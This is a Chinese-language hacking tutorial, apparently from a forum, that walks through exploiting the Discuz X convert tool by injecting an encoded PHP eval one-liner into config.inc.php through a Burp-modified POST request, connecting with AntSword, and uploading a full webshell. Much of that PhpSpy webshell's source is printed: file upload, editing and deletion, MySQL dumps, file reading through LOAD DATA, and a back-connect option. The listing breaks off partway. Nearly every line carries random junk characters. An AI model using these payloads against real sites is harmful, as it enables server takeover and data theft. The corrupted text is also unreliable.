攻击思路:3 n. ^8 n& p0 Q# w
想要拿下一台主机A的权限:5 J6 L1 A J4 y( N% c5 y
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
' V" X1 e: d, ?2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
" ^: z1 ]; J( D, c3、传上去后,得到apache用户普通权限,再提权成root
% H. V3 p. |- { X概述:
0 W/ I* b% @$ O) `5 y0 L' [这突破在一个DZ X系列自带的转换工具里面。/ S9 h) u" M, Y" ]# {- c
漏洞路径:utility / convert / data / config.inc.php, X; X, F+ P" E8 ~
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。0 F1 M& k2 K( {! _
触发突破过程:$ y: E) J8 J+ R' h4 }
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php . n+ u6 V+ t: N3 J! u1 {* q- g: t
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
* K* |$ N6 Y c& d6 B! d% Y0 B F攻击过程:4 t# {* I. }2 ?3 G8 O
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
$ Q- o0 z1 s( @* U3 g, J
O% P$ @, F% s7 t( { 8 j' g% u$ L6 j/ H1 ?: b
2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马# b/ e' w) ]1 @8 A# N

7 u' y+ K C% G$ `8、通过中国蚁剑上传大码
: n/ J! x" Q, X& ?7 u ^# W
. m7 k. _6 t3 Q, M
/ ^9 v8 [# R' ^7 @- a10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php* t( b, `5 z4 T% Y& N: g
-
$ W6 @( s4 v2 `' Q8 w+ @8 v - /*****************************************************************************- G: R5 l0 K9 C6 K6 ]# U3 Y
-
9 I. ?+ ]9 [0 `! Q7 ]! \, N - ===================== 请误用于非法用途,造成一切后果与本人无关。====================
% ~: y3 g" m- J: b# a- _! p - ' I x8 U' V' ?3 l8 R [. j
- ====# X: J1 E5 j5 ^4 W0 {- O/ j/ U
- 0 d/ {' w5 H, [$ _& ]! | |) @
-
" ?4 p1 V3 W3 s- u0 c+ S( ?% p - *****************************************************************************/
5 o" K1 E9 q, x2 U - 9 E9 |/ c4 |4 J( v; T
- error_reporting(7);8 { h3 D4 E4 A" J8 j5 D/ u8 v
- @set_magic_quotes_runtime(0);' J m7 N& Z9 Y P3 [% O6 K
- ob_start();
8 B, Z# t ?" x( c Q/ O5 q - $mtime = explode(' ', microtime());
' X# R" H3 V8 o: \" X. X) t9 D - $starttime = $mtime[1] + $mtime[0];$ _3 m- k, F' W8 G3 r5 Y
- define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/'); ^4 |3 V8 p) q( ~* l- u$ _
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );5 b# I, J7 ]) m& }" I
- define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
" z; o8 j% {* G9 L% z6 S - define('IS_COM', class_exists('COM') ? 1 : 0 );
2 A! f7 o5 Q7 b% ]0 }* f9 H - define('IS_GPC', get_magic_quotes_gpc());0 u0 v/ w( W, |6 ^6 j# b
- $dis_func = get_cfg_var('disable_functions');
- n% j9 u6 T" P% ?& | - define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
7 Y& j% i/ M" |) p/ \ - @set_time_limit(0);
( `8 w7 u. E5 |/ I -
0 @! H* u! D) E) o) J8 L0 J+ f4 H - foreach(array('_GET','_POST') as $_request) { X6 M$ u9 Z ]
- foreach($$_request as $_key => $_value) {/ v/ H* O a* h' K2 t+ ]
- if ($_key{0} != '_') {
) j6 A8 ~1 [0 P ^7 U! h - if (IS_GPC) {
1 U6 g2 v8 w: r# R - $_value = s_array($_value);- f( J- q$ E6 h6 T
- }
+ d: U* R1 \" N! t% a - $$_key = $_value;
7 e6 @& S. T$ h) ?/ g4 Q - }8 h P* S1 `; a) u6 f/ f3 p
- }
$ F* X* b+ E3 k. x e$ L" x - }% p: |0 h) V& Y9 u; d
-
' h+ h4 Z* E- R) b5 M4 M6 t( B2 n - /*===================== 程序配置 =====================*/
) v Y) w% ^! X* x: k* {0 s; p - $admin = array();
6 [" z+ [$ e# @; V/ \1 s8 y0 k - // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
: C5 P3 p% W. b8 e( n9 O - $admin['check'] = true; B& t* k4 E+ \) T
- // 如果需要密码验证,请修改登陆密码
* D9 d" z# T+ o, v# A - $admin['pass'] = 'xuegod';
' W$ Z9 V3 Y' H/ l: D2 t - + \+ X; s9 W6 a
- //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
7 s' {& H6 q2 T- o4 a( O; Z" A' B5 l; l - // cookie 前缀2 F3 x5 ^6 c8 |8 \. ~
- $admin['cookiepre'] = '';/ F) T! d- C0 k4 W. b3 d4 f2 z
- // cookie 作用域4 V7 ^! o- x/ z$ Q) e, l
- $admin['cookiedomain'] = '';
2 a6 Q) M( U$ O' `5 D - // cookie 作用路径
! Y& W v$ B& s$ j6 y# G. X - $admin['cookiepath'] = '/';
8 j& t3 e8 `7 K- b- @ - // cookie 有效期
4 K, O" \" h. s5 f8 `$ ? - $admin['cookielife'] = 86400;
1 W) \: z/ W# G* E/ R" a - /*===================== 配置结束 =====================*/ `$ e9 l9 M7 t6 L- u% o
-
1 o' q+ ?. D' l8 ?; p3 p - if ($charset == 'utf8') {
` u1 {6 r5 l& j2 ~ Q+ I - header("content-Type: text/html; charset=utf-8"); |: Y6 R9 \8 R, R, k- B8 W
- } elseif ($charset == 'big5') {* G$ |5 }9 b( J7 f6 v/ s
- header("content-Type: text/html; charset=big5");
: s j K$ \! s8 G8 P0 n6 @ - } elseif ($charset == 'gbk') {/ n( u3 z. r! s) _5 Y1 H, h+ ^5 \
- header("content-Type: text/html; charset=gbk"); d1 M3 H. Y% T5 I. W- C; K' |
- } elseif ($charset == 'latin1') {+ H! m2 ~ e( R" T* W+ W: ~# I
- header("content-Type: text/html; charset=iso-8859-2");* W' Z- Q- f' ^2 t6 [
- }- H( ~) N6 [8 t
-
1 N* c6 I: w7 `# e" B7 D, { - $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
' R C( V5 @8 k2 ~' @$ n3 N( x" x - $timestamp = time();+ h2 ^' R5 c8 ^% X6 y
- # `6 ~0 [* q& m3 l& E3 J; p. j
- /*===================== 身份验证 =====================*/6 l* \' S+ F. n8 y k
- if ($action == "logout") {, b- h. U+ ]9 A9 g3 q$ _
- scookie('phpspypass', '', -86400 * 365);- v3 w/ R! N. h; a8 }* ^! V
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
( H- s" h2 z9 ~ - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
! L6 I( f- \; U2 z' I0 w8 y - exit;2 Y; G; y ^& Z( M' D
- }
: Y/ D% U7 W; f, \2 D3 c# l - if($admin['check']) {
! t w; {* s) Z7 D, M' T - if ($doing == 'login') {
& `' Q5 _' s. a - if ($admin['pass'] == $password) {
B" S6 ]3 K" F0 L - scookie('phpspypass', $password);
. {& N6 u" G8 D - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
, q7 `# p* l2 s7 _' u - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');% e8 {1 R9 L& E' i! T
- exit;( y7 K: u2 b9 V; P. B
- }
& u: N; q7 C5 \3 ^ - }1 |, U+ k/ G" L* u7 B3 ~
- if ($_COOKIE['phpspypass']) {
2 i" h# B5 f: u2 S - if ($_COOKIE['phpspypass'] != $admin['pass']) {2 q4 \; S4 F# B1 ]& a# b
- loginpage();/ V5 N2 q. h# h0 g' ]/ F
- }, g7 O/ J: b# r0 Z ~" e
- } else {
- C8 g+ ^8 y! Z/ a- B3 E - loginpage();
/ V* l' y! X6 Y) `0 v - }
1 R7 p$ v2 V9 z4 X' ? - }
+ q, ?, ^: N. `/ O4 r - /*===================== 验证结束 =====================*/) a8 f$ L- O& ?; `9 b" [9 j
-
. V5 \1 H. _, x; w7 w- l6 L$ _ - $errmsg = '';
: e+ q e" G E; G0 U u6 S -
0 g6 L5 Q2 M+ _' X# ] - // 查看PHPINFO/ n# b. K0 ^" W$ O" [+ P5 B
- if ($action == 'phpinfo') {7 k1 C; E8 I( f/ L4 {" L
- if (IS_PHPINFO) {: e9 [. I' f- Q( U1 c, z- z2 w
- phpinfo();- q1 U7 r: R$ C' A; i
- } else {
6 G1 d5 H! G. n6 |( d4 u - $errmsg = 'phpinfo() function has non-permissible';
m3 A& y% d8 y+ A# h - }7 `4 r3 k) _8 N2 b3 p" L- o
- }
7 C7 j1 S% C0 |6 L+ Q6 Q - / W- w* v) S( W d
- // 下载文件
7 v) W/ Q m+ Z i/ E r - if ($doing == 'downfile' && $thefile) {
+ E& Y& R$ B; X, @+ v4 } - if (!@file_exists($thefile)) {* ^0 `0 F2 ]: ?% }; ]' J6 P4 ]
- $errmsg = 'The file you want Downloadable was nonexistent';. E" ?# H4 X! i
- } else {
- T- G7 c a) `; A6 N - $fileinfo = pathinfo($thefile);, o- u* U; ?' [" H6 o
- header('Content-type: application/x-'.$fileinfo['extension']);6 L' u% C; j% Q
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);/ U( X* n* j% I) _
- header('Content-Length: '.filesize($thefile));8 M4 z! _+ K# V; }
- @readfile($thefile);5 {9 z$ ?3 [! ^! ^8 c9 K c
- exit;
: |$ p( f. l7 Z- q6 }5 B9 b - }
3 {2 T! S1 J9 I/ g4 e - }
- ?8 U, g( H4 w -
: p' s& n k# y( [- } - // 直接下载备份数据库
" B- d( c: ?* U( t( E1 b6 c - if ($doing == 'backupmysql' && !$saveasfile) {7 Z' k" h7 q7 |) p2 x
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
9 O3 O B0 V& _% u. |" T - $table = array_flip($table);
: x2 X' V0 T% o/ F* } - $result = q("SHOW tables");, k2 Y' y! P& J5 c- j
- if (!$result) p('<h2>'.mysql_error().'</h2>');
% s7 j: `6 O w8 O4 | - $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');! B* _! k# ]: P) U" @3 I0 I1 i
- header('Content-type: application/unknown');
+ T H4 A7 V) |4 X - header('Content-Disposition: attachment; filename='.$filename);3 {0 @3 A. n% i. ~
- $mysqldata = '';
+ N- R5 y8 Z( ] - while ($currow = mysql_fetch_array($result)) {$ ~2 Q; k. ~$ U% h. U- @
- if (isset($table[$currow[0]])) {
1 s, I- Y$ H9 X" F& c - $mysqldata .= sqldumptable($currow[0]);
6 E5 w8 r6 C% v. W7 b' X% | - }
1 E3 t* N: Q% q5 w - }" B0 o) i1 W+ v# R5 R
- mysql_close();
: Y6 C- b% w6 Z - exit;, |: @6 N* F$ p" y; s& A$ z
- }! e" l- F, ]2 i# S. [. I
-
1 V- a$ p1 N- w. Q# } - // 通过MYSQL下载文件6 M. e- Q ?6 q0 B1 Z- o7 b- Q
- if($doing=='mysqldown'){
0 g, V7 J, T$ G" f7 F4 a - if (!$dbname) {
' A: W. s# ]# w7 L7 [/ s% n - $errmsg = 'Please input dbname';, }1 V9 p, q5 ?: E2 R
- } else {
9 ]* h# [7 e+ A& b! m - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);" T1 n7 u. ?: j0 D) i) T" m- X! k: l3 q
- if (!file_exists($mysqldlfile)) {4 L* [3 R# F) `- A5 w' d+ R
- $errmsg = 'The file you want Downloadable was nonexistent';
' Y# z) q4 l* m0 C* K9 ~4 E. T8 B - } else { f" M" B$ Q% X# t$ c6 f
- $result = q("select load_file('$mysqldlfile');");
+ F# |' v, s$ w g - if(!$result){
9 R% t& f1 M, J+ ~* h' ]8 o - q("DROP TABLE IF EXISTS tmp_angel;");6 V2 b6 _6 c* c8 H1 Y+ d1 Y
- q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
! g# o& [, Z8 B4 z/ C' c - //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
6 m4 c H! M8 }# ]* e H2 a - q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
8 M3 [0 L' w$ }5 x6 B T7 g5 w - $result = q("select content from tmp_angel");
7 m7 s1 _' \* t# F1 M - q("DROP TABLE tmp_angel");
) y$ O2 C. ?+ g+ u - }- v4 i3 ]0 P2 s- r1 j# D
- $row = @mysql_fetch_array($result);- P* o! |% Y3 a. \7 N8 Y# ?
- if (!$row) {& s# W; z7 v1 Y- f+ n+ J) H
- $errmsg = 'Load file failed '.mysql_error();* Z0 R+ l: Q: ~6 @- Z% W9 ^
- } else {
& o6 k- H/ ]' O) L x; \% R' G - $fileinfo = pathinfo($mysqldlfile); Y; t8 i# y* M% t4 p; `) M
- header('Content-type: application/x-'.$fileinfo['extension']);: c4 G3 d7 [0 H. @2 g$ y, c+ H
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
4 n. k4 x9 K; a) x4 y. W8 \$ Q - header("Accept-Length: ".strlen($row[0]));
1 ?9 x* O+ G) O0 [# \+ _( m - echo $row[0];% B8 A$ a/ _, O$ C' v6 [
- exit;8 F4 k( G e( Z$ @9 z, b$ K
- }7 W6 e* l z6 m0 v, Y" K
- }# P, u# p5 C- i/ f4 D
- }% I9 ?' f3 g! ] V# k
- }
, ~8 l: h% C* |0 | - 6 P' Y! x) i- A+ H% N% c) }
- ?>
6 D. ~6 Q, J5 o- y9 @ w; Z8 i - <html>8 N+ O4 V0 [- G3 A1 q
- <head>6 {4 d( S' [: ]0 W6 D
- <meta http-equiv="Content-Type" content="text/html; charset=gbk">* U( _) |: c: {0 l* I/ C
- <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>% m5 t* D$ {) {0 L; O
- <style type="text/css">' q& w* ^) }2 h, T! n) }$ {8 Q
- body,td{font: 12px Arial,Tahoma;line-height: 16px;}5 A9 U6 z8 o" Z r- }7 I3 V3 c
- .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}/ L2 \( v- U) r e
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
* ^+ p3 z( W/ e# f - .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
/ f0 ?$ [$ a; R) J+ J0 t o - a {color: #00f;text-decoration:underline;}# z) g$ a% k# b
- a:hover{color: #f00;text-decoration:none;}
5 J$ S1 v5 N `" j& q - .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}7 [* w B0 S5 e4 W+ _
- .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
) Z' m" f/ Y6 Q# j% H - .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
; n$ A+ Y. w! S$ R - .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}" F& c) w' V) P: E0 i, \) c" {
- .head td span{font-weight:normal;}6 @! J4 Y: h/ y4 {: M' }% j, H
- form{margin:0;padding:0;} m% S( [* B7 R5 a7 H# g
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}3 }: l% m& u3 n2 J- f3 z* E
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
- d; C2 R1 }% G+ ?$ o - u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;} R6 f' t( W0 h( M2 P
- </style>
, o8 g9 E' Y0 {1 J' k - <script type="text/javascript">; s+ b, j" r+ h# F) X. l
- function CheckAll(form) {
4 R# ~1 @( N/ k3 r3 x7 n3 N. l5 O - for(var i=0;i<form.elements.length;i++) {( j) y9 i& g0 y6 v# n
- var e = form.elements[i];/ n- H, f- F, H' d, z& ~
- if (e.name != 'chkall'). D7 ]$ i* [( A
- e.checked = form.chkall.checked;
. S+ J2 h0 N8 ] - }' }: S" I1 v" e0 T+ F. I0 M
- }
/ d; `. l) x' v - function $(id) {
, G3 e, ?- R, F9 @- Q- U0 Z+ K - return document.getElementById(id);
# Y C W/ l- B- a4 q - }3 h) c( L: k2 i8 y
- function goaction(act){
- S4 X! `" d+ ?+ w - $('goaction').action.value=act;
# }4 o- e/ z6 r( D' Q% c# [% g - $('goaction').submit();
4 e/ v7 y9 F* ?- l* I# n! N9 i; G - }* G: B7 y, }8 V: L" o
- </script>
) I! C7 G& T( z( F0 R - </head>
; ^: W& \2 t" G* T# Q3 X - <body style="margin:0;table-layout:fixed; word-break:break-all">$ l n* O- H7 @4 o k5 |
- <table width="100%" border="0" cellpadding="0" cellspacing="0">4 e& K5 A0 c5 }3 _2 E
- <tr class="head">
: z* H% W% |: C5 E; p - <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>. q% R. d& u3 i! {4 L0 h
- </tr>8 v4 Z: r3 [! D) j- T
- <tr class="alt1">
! Y! S4 V7 K, h$ K8 ]5 O. Y: v - <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>1 T) x6 M8 V& o! g* g) E- k: h; |
- <a href="javascript:goaction('logout');">Logout</a> | 4 ]* s: y3 w5 \; ]+ T5 j
- <a href="javascript:goaction('file');">File Manager</a> |
3 Q5 ^1 ^; o8 I9 m" W9 Z - <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | 9 v+ K3 `- g* L5 x* D8 O8 l6 b2 e8 h# ^
- <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | & ]& |* _) Y1 J$ Z1 {
- <a href="javascript:goaction('shell');">Execute Command</a> | 9 l9 d& D7 N. ]; w9 @' A# a
- <a href="javascript:goaction('phpenv');">PHP Variable</a> |
6 H1 R; B! n" r( G) U - <a href="javascript:goaction('eval');">Eval PHP Code</a>
6 {: ^# E( O3 E5 `4 d - <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
0 O9 F8 I, |6 }+ t% S - </td>, i" g* s3 ?1 P% \$ b
- </tr>/ f$ M9 ?, c- D ^0 Z
- </table>8 E3 w& q6 H5 d
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>( m) _6 A: ?. l' ]* K2 ^
- <?php
( q+ S* C; V: M' Q5 J( I. J' c -
b& c# f. {5 N2 u - formhead(array('name'=>'goaction'));
' N/ H7 `: |3 L9 n - makehide('action');
3 U+ P% C( T# |$ @. A. G9 I" b! ? - formfoot();
& [+ ]7 |' I$ n; d( a6 S, F - ' I* o$ U, e0 k" e, r. h
- $errmsg && m($errmsg);
( Z% A' b4 _! X. g. I -
$ x+ E2 l" n4 A3 z8 y2 } - // 获取当前路径5 V0 {) a9 I! e& T5 e0 P/ p
- !$dir && $dir = '.';6 D p1 |. D5 ]8 \$ ]+ O
- $nowpath = getPath(SA_ROOT, $dir);
7 I2 w1 d/ U* X$ c1 ^8 i - if (substr($dir, -1) != '/') {( L- c" p1 }0 w$ {! \+ R
- $dir = $dir.'/';7 T4 y Y4 I2 L, W: u
- }, ?- X, t# N+ H% G" K
- $uedir = ue($dir);
- t0 r& ?7 q! E - , X8 L7 Y2 D: @& x9 J& R
- if (!$action || $action == 'file') {, v) Y8 \0 e2 q3 w3 D
- . M7 o `6 B1 v* w9 @/ l
- // 判断读写情况
. W# Z0 o: P# m - $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';$ d9 c- v) O$ I9 H7 {6 f& `6 V7 }
-
9 m) n' Q6 t% S) _ - // 删除目录
! w3 m k# @; p! o5 U4 ^ - if ($doing == 'deldir' && $thefile) {
6 w# Q9 l2 k+ T3 H, A4 s7 l - if (!file_exists($thefile)) {9 C: C |" x3 I9 i' s/ s
- m($thefile.' directory does not exist');
* a2 a- Z. V" w& k2 t - } else {
! P4 u' R6 |& ~" p6 I) j4 a/ K - m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));' N6 l: Z6 ]7 N& \7 m# Y* J
- }7 u0 o; Q: v' `0 D! p
- }
6 b( } l( a" p; a- c -
/ i# t, S; X: B0 y, L - // 创建目录/ B: D0 A. D0 [' C/ c1 r
- elseif ($newdirname) {
/ l$ D2 @3 K0 Z - $mkdirs = $nowpath.$newdirname;/ K2 ]$ F _. k( T3 r
- if (file_exists($mkdirs)) {
- i, T6 A; q4 w. X% N* K - m('Directory has already existed');
4 p3 J* e" t7 q - } else {$ c- [9 U- h' k/ |5 O) `' u' v
- m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));6 Q+ {6 o0 X) l' K0 l3 T5 }5 j' E0 h: b
- @chmod($mkdirs,0777);
, _! ]! D; n$ F7 P. c2 H# j$ @ - }2 l$ f7 z# z9 R4 N9 T
- }
# k/ W4 Q2 m$ s9 [4 L$ \ - 0 {% V. L4 F# s; h
- // 上传文件3 o# o6 `" v V
- elseif ($doupfile) {
$ ^6 f9 u0 u- V+ P( V - m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
- l" r2 h/ @) j) B1 J" a5 W - }( a$ n+ S; _* ]3 x% m
-
2 P' F9 d; I9 ~8 N4 B7 M - // 编辑文件# x. c; c! k8 c; x; ?
- elseif ($editfilename && $filecontent) {1 W: A: M6 c, n% Y& U9 F+ U( o7 @# s
- $fp = @fopen($editfilename,'w');
% t4 M9 O3 @/ X6 F - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
, \. v [8 h& n) _$ m* e. Z, t - @fclose($fp);- T' J3 B. X+ B5 p6 Z5 W
- }
6 K+ f& |! J7 e4 N - 5 J% o' _3 v: k6 c# D5 g
- // 编辑文件属性
6 D2 K! y9 _ s) {3 I D" e1 ~ - elseif ($pfile && $newperm) {
1 V. T$ f+ j1 L1 N# \ - if (!file_exists($pfile)) {
8 `) q/ d; N: w% z - m('The original file does not exist');$ o, `% P m1 U, O* k3 {
- } else {
: J1 K: ~/ S" y, l. }% Y( |# Q5 J - $newperm = base_convert($newperm,8,10);0 P2 B& n% N8 C: [9 t
- m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));, R$ X. o0 j- i" e: \
- }
3 @5 P- w- T' T( A/ U3 M - }% ^1 J# B* |7 @. w% \* N
-
' d2 J; ?% Z& f: x5 e - // 改名
- y& |( j" W. Z0 ]: v _% O+ f - elseif ($oldname && $newfilename) {
6 N. o# W/ Y ^! w - $nname = $nowpath.$newfilename;
) x9 _0 Q% v. p - if (file_exists($nname) || !file_exists($oldname)) { X2 o( S2 Y: y1 @. U" y. d0 H
- m($nname.' has already existed or original file does not exist');
2 k: {% `3 u8 I, R" T - } else {" J7 k' @, i6 Z7 {
- m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
; p, F) m4 p+ y2 Z' z - }
, Z& ^' Z# E& q" U6 ~, ^- D, P - }
! ^9 B ?# t4 f9 e- u$ t l -
7 U; S* E3 C1 @& l - // 复制文件
$ \' _+ s* R. m1 G! T1 M - elseif ($sname && $tofile) {
8 l2 Q( U, H8 }* L4 e0 ^9 P8 [) k. n - if (file_exists($tofile) || !file_exists($sname)) {
- b- j+ N* a( \ - m('The goal file has already existed or original file does not exist');
8 s' s% w5 b: g# {! t9 j; m - } else {
3 r; L8 @9 s( n6 L, z5 I) z' P - m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
2 L* h* X9 h b+ g7 [ - }
3 i( _$ L$ Y1 J( |! R$ x - }
3 L: L" G4 e0 s* }& ` _7 H -
. G1 c. f# b# o2 D# s b - // 克隆时间% Z' R: \4 D2 F: D# Y
- elseif ($curfile && $tarfile) {& u5 J% h& g) c& |( k2 ~
- if (!@file_exists($curfile) || !@file_exists($tarfile)) {
6 J( \' v3 D5 F. V/ V% s, {' M - m('The goal file has already existed or original file does not exist');' ]4 |! [. H; P, a3 J9 h
- } else {
5 P' G7 \8 N) Q# a9 c, i2 S! ~" ? - $time = @filemtime($tarfile);. F" k0 J& E5 I9 ?# b
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));; V' Y! H$ Z, F) \3 D# E
- }) m( i5 ?% P3 f& @: f+ ?
- }) K7 O6 X$ M5 a
- + S* Q: I. R: w2 R
- // 自定义时间4 w& @7 k* L3 f8 n" A( `
- elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
8 H2 v' Y0 M. ~% D8 @" b) A3 g - if (!@file_exists($curfile)) {2 F7 t' z1 q' j( X- A
- m(basename($curfile).' does not exist');- _6 H; j0 m, w& I, C
- } else {
P+ {6 P x8 C2 T8 L - $time = strtotime("$year-$month-$day $hour:$minute:$second"); R5 z. ]+ D1 Q
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));2 R' Y& c* M9 }9 X$ R
- }
n, ?% R+ W* R& n - }
8 o* w6 k# Q2 H; R) @0 k5 n - ; o8 X/ ]$ w' F. ]
- // 打包下载5 M; q, `/ |+ {- h' q O" z
- elseif($doing == 'downrar') {
$ x* C* q8 s Y1 J2 O) z3 U - if ($dl) {3 L' I4 `( Y4 x* S# Q* T0 f
- $dfiles='';9 d" \4 D, x/ l: K
- foreach ($dl as $filepath => $value) {
+ w8 k: f2 f! @1 i0 |9 w - $dfiles.=$filepath.',';
8 J. E. O0 w( r6 V - }* {! \* r7 ?# _0 W% r
- $dfiles=substr($dfiles,0,strlen($dfiles)-1);
: v5 ^( l4 g/ |9 S8 r4 C- t - $dl=explode(',',$dfiles);4 J1 C- }+ G U2 \7 K+ Z. J7 W& V& B/ E6 h
- $zip=new PHPZip($dl);
3 j1 _5 h- s2 n/ _- r `) @9 u1 i - $code=$zip->out;
" g7 S/ a; n& p. T: t - header('Content-type: application/octet-stream');' X' x7 q3 H0 V
- header('Accept-Ranges: bytes');8 ?" z( l5 A$ e8 f
- header('Accept-Length: '.strlen($code));: p8 V! [$ d. `
- header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');$ h/ q3 M) h: b2 K, W1 D2 S
- echo $code;1 D/ s; V* |4 a% o$ v; b8 ?" k2 ^
- exit;6 b0 P+ R5 [1 L( J
- } else {& h1 C* N* _# }3 ?! @
- m('Please select file(s)');% i4 l4 g; m/ `. U0 c( A! c
- }
z6 b X2 {3 r - }
1 @* w. z/ Y& o) a- q8 y3 q -
# N3 f$ h8 [; ]/ g' V% Q7 j - // 批量删除文件. ]% k7 N+ k. O2 n2 E9 {- w
- elseif($doing == 'delfiles') {
2 D8 p4 p- r6 r; M4 N0 Q2 b - if ($dl) {* U+ Q9 ?* C& s$ w0 A. F
- $dfiles='';
' p' X- X3 |4 H! A% @ - $succ = $fail = 0;
, h4 n: J1 x; q' X - foreach ($dl as $filepath => $value) {
" ^) u( {! p, V( t' A6 c2 @ - if (@unlink($filepath)) {
: {+ `% x1 G" ^5 m/ n8 t - $succ++;
" ]! L& ~! Q2 S4 d, v' J+ j, q( | - } else {
4 I+ C$ Y3 R! u& I2 m. b - $fail++;
3 r0 g4 n0 \! W9 X - }( f D* z$ D) E3 A& R6 D
- }8 v' H+ y& H6 B
- m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
7 J5 h4 \- q# i' J( M - } else {
* S, g, v8 y1 k9 F5 C p - m('Please select file(s)');
8 o" l& [2 r/ z+ D/ T - } r, L" Z. Q/ Q" O4 w
- }
& D! T \( a* D9 g - / p% w. N4 C4 B3 m3 ^" c1 i! S7 R
- //操作完毕3 |3 s+ I0 e/ y% ]; G
- formhead(array('name'=>'createdir'));
